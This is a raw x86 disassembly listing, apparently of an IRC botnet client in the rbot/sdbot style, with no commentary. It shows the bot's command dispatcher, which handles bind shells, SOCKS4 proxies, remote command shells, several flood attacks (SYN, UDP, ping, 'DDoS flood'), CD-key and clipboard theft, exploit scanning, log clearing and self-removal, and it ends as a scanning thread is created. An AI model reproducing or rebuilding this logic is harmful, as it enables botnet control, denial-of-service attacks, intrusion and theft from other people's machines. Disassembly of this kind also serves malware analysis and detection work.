mov edi, eax
loc_402655: ; CODE XREF: sub_401CC1+9E0j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d"
push eax
call sub_41B740
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B890
add esp, 14h
test eax, eax
jz short loc_402698
mov eax, [edi]
cmp eax, ebx
jz short loc_402698
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_415C6E
add esp, 0Ch
loc_402698: ; CODE XREF: sub_401CC1+9BCj
; sub_401CC1+9C2j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_402655
mov edi, [ebp+arg_C]
mov [ebp+var_2C4], 1
loc_4026B0: ; CODE XREF: sub_401CC1+71Fj
; sub_401CC1+754j
mov al, [edi]
cmp al, byte_43A094
jz short loc_4026C6
cmp [ebp+var_2C4], ebx
jz loc_4028BB
loc_4026C6: ; CODE XREF: sub_401CC1+9F7j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_415C6E
lea eax, [ebp+var_C0]
push eax
push offset aUser_6 ; "$user"
push edi
call sub_415C6E
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_415C6E
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40A4F6
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_415C6E
add esp, 40h
push [ebp+arg_14]
push offset aServer_8 ; "$server"
push edi
call sub_415C6E
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B890
add esp, 14h
loc_402738: ; CODE XREF: sub_401CC1+B73j
test eax, eax
jz loc_402839
push offset aChr_0 ; "$chr("
push [ebp+arg_0]
call sub_41B890
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B1F0
lea eax, [ebp+var_A0]
push offset asc_4418E8 ; ")"
push eax
call sub_41C550
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_402788
cmp [ebp+var_A0], 39h
jle short loc_40279E
loc_402788: ; CODE XREF: sub_401CC1+ABCj
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B1F0
add esp, 0Ch
loc_40279E: ; CODE XREF: sub_401CC1+AC5j
lea eax, [ebp+var_A0]
push eax
call sub_41B3F0
test eax, eax
pop ecx
jle short loc_4027C4
lea eax, [ebp+var_A0]
push eax
call sub_41B3F0
pop ecx
mov [ebp+var_94], al
jmp short loc_4027D8
; ---------------------------------------------------------------------------
loc_4027C4: ; CODE XREF: sub_401CC1+AECj
call sub_41B850
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_4027D8: ; CODE XREF: sub_401CC1+B01j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_418D00
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B190
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B1F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_415C6E
push edi
push [ebp+arg_0]
call sub_41B890
add esp, 30h
jmp loc_402738
; ---------------------------------------------------------------------------
loc_402839: ; CODE XREF: sub_401CC1+A79j
mov edi, 1FFh
lea eax, [ebp+var_39E8]
push edi
push [ebp+arg_0]
push eax
call sub_41B1F0
lea eax, [ebp+var_39E8]
push edi
push eax
lea eax, [ebp+var_3E4C]
push eax
call sub_41B1F0
lea eax, [ebp+var_3E4C]
push offset asc_4418F0 ; " "
push eax
call sub_41C550
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_402889: ; CODE XREF: sub_401CC1+BDDj
push offset asc_4418F4 ; " "
push ebx
call sub_41C550
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_402889
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_40207C
add ecx, 3
mov [eax], ecx
loc_4028BB: ; CODE XREF: sub_401CC1+9FFj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_10], edi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408C54
push edi
push offset aRn ; "rn"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_408C54
push edi
push offset aDie ; "die"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404638
push edi
push offset aD_2 ; "d"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404638
push edi
push offset aLogout ; "logout"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404596
push edi
push offset aLo ; "lo"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404596
push edi
push offset aDedication ; "dedication"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40458C
push edi
push offset aDed ; "ded"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40458C
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aSt ; "st"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aBindshell ; "bindshell"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40446D
push edi
push offset aBd ; "bd"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40446D
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402A01
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_441B48
loc_4029E5: ; CODE XREF: sub_401CC1+D8Ej
; sub_401CC1+DB4j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40AA8B
add esp, 20h
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_402A01: ; CODE XREF: sub_401CC1+D0Fj
push edi
push offset aSocks4 ; "socks4"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40434B
push edi
push offset aS4 ; "s4"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40434B
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402A51
push [ebp+esi+var_8C]
push 19h
push offset aServer_1 ; "Server"
push offset dword_441BE0
jmp short loc_4029E5
; ---------------------------------------------------------------------------
loc_402A51: ; CODE XREF: sub_401CC1+D79j
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402A7A
push [ebp+esi+var_8C]
push 9
push offset aServer_2 ; "Server"
push offset dword_441C04
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402A7A: ; CODE XREF: sub_401CC1+D9Fj
push edi
push offset aHttpstop ; "httpstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402AA3
push [ebp+esi+var_8C]
push 3
push offset aServer_3 ; "Server"
push offset dword_441C28
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402AA3: ; CODE XREF: sub_401CC1+DC8j
push edi
push offset aLogstop ; "logstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402ACC
push [ebp+esi+var_8C]
push 25h
push offset aLogList ; "Log list"
push offset dword_441C4C
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402ACC: ; CODE XREF: sub_401CC1+DF1j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402AF5
push [ebp+esi+var_8C]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_441C78
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402AF5: ; CODE XREF: sub_401CC1+E1Aj
push edi
push offset dword_441C88
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B1E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_441C94
push offset dword_441CA0
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402B1E: ; CODE XREF: sub_401CC1+E43j
push edi
push offset aSynstop ; "synstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B47
push [ebp+esi+var_8C]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_441CC0
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402B47: ; CODE XREF: sub_401CC1+E6Cj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B70
push [ebp+esi+var_8C]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_441CE8
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402B70: ; CODE XREF: sub_401CC1+E95j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B99
push [ebp+esi+var_8C]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_441D14
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402B99: ; CODE XREF: sub_401CC1+EBEj
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402BC2
push [ebp+esi+var_8C]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_441D3C
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402BC2: ; CODE XREF: sub_401CC1+EE7j
push edi
push offset aPacketstop ; "packetstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_402CFD
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+var_88]
push esi
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_441D60
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
push esi
push 0Eh
push offset dword_441D6C
push offset dword_441D78
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
add esp, 40h
push esi
push 17h
push offset dword_441D84
push offset dword_441D90
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
push esi
push 16h
push offset dword_441D9C
push offset dword_441DA8
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
add esp, 40h
push esi
push 11h
push offset dword_441DB4
push offset dword_441DC4
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
push esi
push 12h
push offset dword_441DD4
push offset dword_441DE0
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
add esp, 40h
push esi
push 0Fh
push offset dword_441DEC
push offset dword_441DFC
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
push esi
push 13h
push offset dword_441E0C
push offset dword_441E1C
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
add esp, 40h
push esi
push 10h
push offset dword_441E2C
push offset dword_441E3C
push 1
push [ebp+var_4]
push edi
push [ebp+arg_4]
call sub_40AA8B
push ebx
push [ebp+var_4]
push offset unk_441E4C
push edi
push [ebp+arg_4]
call sub_408EB9
add esp, 34h
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_402CFD: ; CODE XREF: sub_401CC1+F10j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D26
push [ebp+esi+var_8C]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_441E9C
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402D26: ; CODE XREF: sub_401CC1+104Bj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D4F
push [ebp+esi+var_8C]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_441EC8
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402D4F: ; CODE XREF: sub_401CC1+1074j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D78
push [ebp+esi+var_8C]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_441EEC
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402D78: ; CODE XREF: sub_401CC1+109Dj
push edi
push offset aPingstop ; "pingstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402DA1
push [ebp+esi+var_8C]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_441F10
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402DA1: ; CODE XREF: sub_401CC1+10C6j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402DCA
push [ebp+esi+var_8C]
push 5
push offset aServer_4 ; "Server"
push offset dword_441F30
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402DCA: ; CODE XREF: sub_401CC1+10EFj
push edi
push offset aProcsstop ; "procsstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404333
push edi
push offset aPsstop ; "psstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404333
push edi
push offset aClonestop ; "clonestop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E1D
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_441F88
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402E1D: ; CODE XREF: sub_401CC1+1142j
push edi
push offset aSecurestop ; "securestop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E46
push [ebp+esi+var_8C]
push 22h
push offset aSecure ; "Secure"
push offset dword_441FAC
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402E46: ; CODE XREF: sub_401CC1+116Bj
push edi
push offset aScanstop ; "scanstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E6F
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_441FD0
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_402E6F: ; CODE XREF: sub_401CC1+1194j
push edi
push offset aScanstats ; "scanstats"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40431D
push edi
push offset aStats ; "stats"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40431D
push edi
push offset aTransferstats ; "transferstats"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404307
push edi
push offset aTrstats ; "trstats"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404307
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4042F1
push edi
push offset aCbstats ; "cbstats"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4042F1
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4042DB
push edi
push offset aExplist ; "explist"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4042DB
push edi
push offset aReconnect ; "reconnect"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4042BC
push edi
push offset aR ; "r"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4042BC
push edi
push offset aDisconnect ; "disconnect"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40429A
push edi
push offset aDc ; "dc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_40429A
push edi
push offset aQuit_0 ; "quit"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404252
push edi
push offset aQ ; "q"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404252
push edi
push offset aStatus ; "status"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404214
push edi
push offset aS ; "s"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_404214
push edi
push offset aId ; "id"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4041DD
push edi
push offset aI_1 ; "i"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4041DD
push edi
push offset aReboot ; "reboot"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40303B
call sub_416138
test eax, eax
mov eax, offset unk_442148
jnz short loc_40300D
mov eax, offset unk_442168
loc_40300D: ; CODE XREF: sub_401CC1+1345j
push eax
lea eax, [ebp+var_2C0]
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 1Ch
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40303B: ; CODE XREF: sub_401CC1+1337j
push edi
push offset aThreads ; "threads"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4040EF
push edi
push offset aT ; "t"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4040EF
push edi
push offset aAliases ; "aliases"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4040CC
push edi
push offset aAl ; "al"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_4040CC
push edi
push offset aLo0g ; "lo0g"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403FDC
push edi
push offset aL0g ; "l0g"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403FDC
push edi
push offset aClearlog ; "clearlog"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403FC3
push edi
push offset aClg ; "clg"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403FC3
push edi
push offset aNetinfo ; "netinfo"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403F89
push edi
push offset aNi ; "ni"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403F89
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi
push offset aSi ; "si"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi
push offset aRemov10e ; "remov10e"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403F24
push edi
push offset aR010m ; "r010m"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403F24
push edi
push offset aProcs ; "procs"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403E01
push edi
push offset aPs ; "ps"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403E01
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403DDA
push edi
push offset aKey ; "key"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403DDA
push edi
push offset aUptime ; "uptime"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403D53
push edi
push offset aUp ; "up"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403D53
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403D36
push edi
push offset aDrv ; "drv"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403D36
push edi
push offset aTestdlls ; "testdlls"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403D1D
push edi
push offset aDll ; "dll"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403D1D
push edi
push offset aOpencmd ; "opencmd"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403CDE
push edi
push offset aOcmd ; "ocmd"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403CDE
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_403286
push [ebp+esi+var_8C]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_4424AC
jmp loc_4029E5
; ---------------------------------------------------------------------------
loc_403286: ; CODE XREF: sub_401CC1+15ABj
push edi
push offset dword_4424B8
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40339C
cmp [ebp+var_8], ebx
jnz short loc_4032BA
push ebx
push [ebp+var_4]
push offset dword_4424BC
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 14h
loc_4032BA: ; CODE XREF: sub_401CC1+15DDj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4032C7
; ---------------------------------------------------------------------------
loc_4032C4: ; CODE XREF: sub_401CC1+164Dj
mov eax, [ebp+arg_18]
loc_4032C7: ; CODE XREF: sub_401CC1+1601j
cmp [eax], bl
jz short loc_4032CE
inc eax
jmp short loc_4032D3
; ---------------------------------------------------------------------------
loc_4032CE: ; CODE XREF: sub_401CC1+1608j
mov eax, offset dword_4424D0
loc_4032D3: ; CODE XREF: sub_401CC1+160Bj
push eax
push edi
lea eax, [ebp+var_2C0]
push offset dword_4424D8
push eax
call sub_41B740
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4032C4
push offset unk_4424E0
call sub_41458A
pop ecx
loc_40331B: ; CODE XREF: sub_401CC1+1832j
; sub_401CC1+298Bj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_40207C
push [ebp+arg_10]
push offset aSpoof ; "spoof"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_404758
push offset aOff ; "off"
push edi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40465E
lea eax, [ebp+var_2C0]
push offset unk_442988
push eax
mov dword_4E4098, ebx
call sub_41B740
pop ecx
pop ecx
loc_403372: ; CODE XREF: sub_401CC1+2A3Ej
; sub_401CC1+2A64j ...
cmp [ebp+var_8], ebx
jnz loc_408CA1
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
loc_403394: ; CODE XREF: sub_401CC1+672Bj
; sub_401CC1+6791j
add esp, 14h
jmp loc_408CA1
; ---------------------------------------------------------------------------
loc_40339C: ; CODE XREF: sub_401CC1+15D4j
push edi
push offset aGetclip ; "getclip"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C9D
push edi
push offset aGc ; "gc"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C9D
push edi
push offset aFlusharp ; "flusharp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C72
push edi
push offset aFarp ; "farp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C72
push edi
push offset aFlushdns ; "flushdns"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C4E
push edi
push offset aFdns ; "fdns"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C4E
push edi
push offset aCurrentip ; "currentip"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C14
push edi
push offset aCip ; "cip"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403C14
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403ADC
push edi
push offset aRlogin ; "rlogin"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403ADC
push edi
push offset aHttpserver ; "httpserver"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403950
push edi
push offset aHttp ; "http"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403950
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403819
push edi
push offset aTftp ; "tftp"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz loc_403819
push edi
push offset aScanall ; "scanall"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_403512
push edi
push offset aVall ; "vall"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_403512
push edi
push offset aPhonehome ; "phonehome"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40331B
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_408E73
jmp loc_40213A
; ---------------------------------------------------------------------------
loc_403512: ; CODE XREF: sub_401CC1+1810j
; sub_401CC1+1821j
mov al, byte_44948A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_44948A
jz loc_40207C
mov ecx, edx
loc_403529: ; CODE XREF: sub_401CC1+1870j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_403529
cmp al, bl
jz loc_40207C
mov [ebp+arg_18], edx
loc_40353E: ; CODE XREF: sub_401CC1+1B43j
push 0Bh
call sub_40AA45
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_40358D
push ecx
lea eax, [ebp+var_2C0]
push offset unk_442818
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_408EB9
add esp, 20h
jmp loc_4037FB
; ---------------------------------------------------------------------------
loc_40358D: ; CODE XREF: sub_401CC1+1897j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4492A8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4035FE
mov eax, [ebp+arg_18]
mov esi, offset dword_4492A8
lea edi, [eax-0Ah]
loc_4035C8: ; CODE XREF: sub_401CC1+191Fj
lea eax, [esi-28h]
push edi
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_4035E4
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_4035C8
jmp short loc_4035FE
; ---------------------------------------------------------------------------
loc_4035E4: ; CODE XREF: sub_401CC1+1915j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4492A8[ecx]
mov [ebp+var_74C], ecx
loc_4035FE: ; CODE XREF: sub_401CC1+18FAj
; sub_401CC1+1921j
cmp [ebp+var_74C], ebx
jz loc_40380F
push 10h
lea eax, [ebp+var_2D0]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D0], esi
push [ebp+arg_4]
call dword_4E0848
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4E0928
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B1F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C290
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_4036A6
loc_403684: ; CODE XREF: sub_401CC1+19E3j
cmp eax, ebx
jz short loc_4036A6
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C290
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_403684
loc_4036A6: ; CODE XREF: sub_401CC1+19C1j
; sub_401CC1+19C5j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41B910
push offset dword_4E0764
push offset aXx_0 ; "#xx#"
call sub_41C4C0
add esp, 14h
test eax, eax
jz short loc_403713
push offset aXx_0 ; "#xx#"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41B910
add esp, 0Ch
jmp short loc_403719
; ---------------------------------------------------------------------------
loc_403713: ; CODE XREF: sub_401CC1+1A35j
mov [ebp+var_7D0], bl
loc_403719: ; CODE XREF: sub_401CC1+1A50j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40372B
mov eax, offset aSequential ; "Sequential"
loc_40372B: ; CODE XREF: sub_401CC1+1A63j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_4428A4
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40A7FD
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40BC04
push ebx
push ebx
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_4537DC[ecx], eax
jz short loc_4037B5
loc_4037A3: ; CODE XREF: sub_401CC1+1AF2j
cmp [ebp+var_71C], ebx
jnz short loc_4037D0
push 32h
call dword_4F1334 ; Sleep
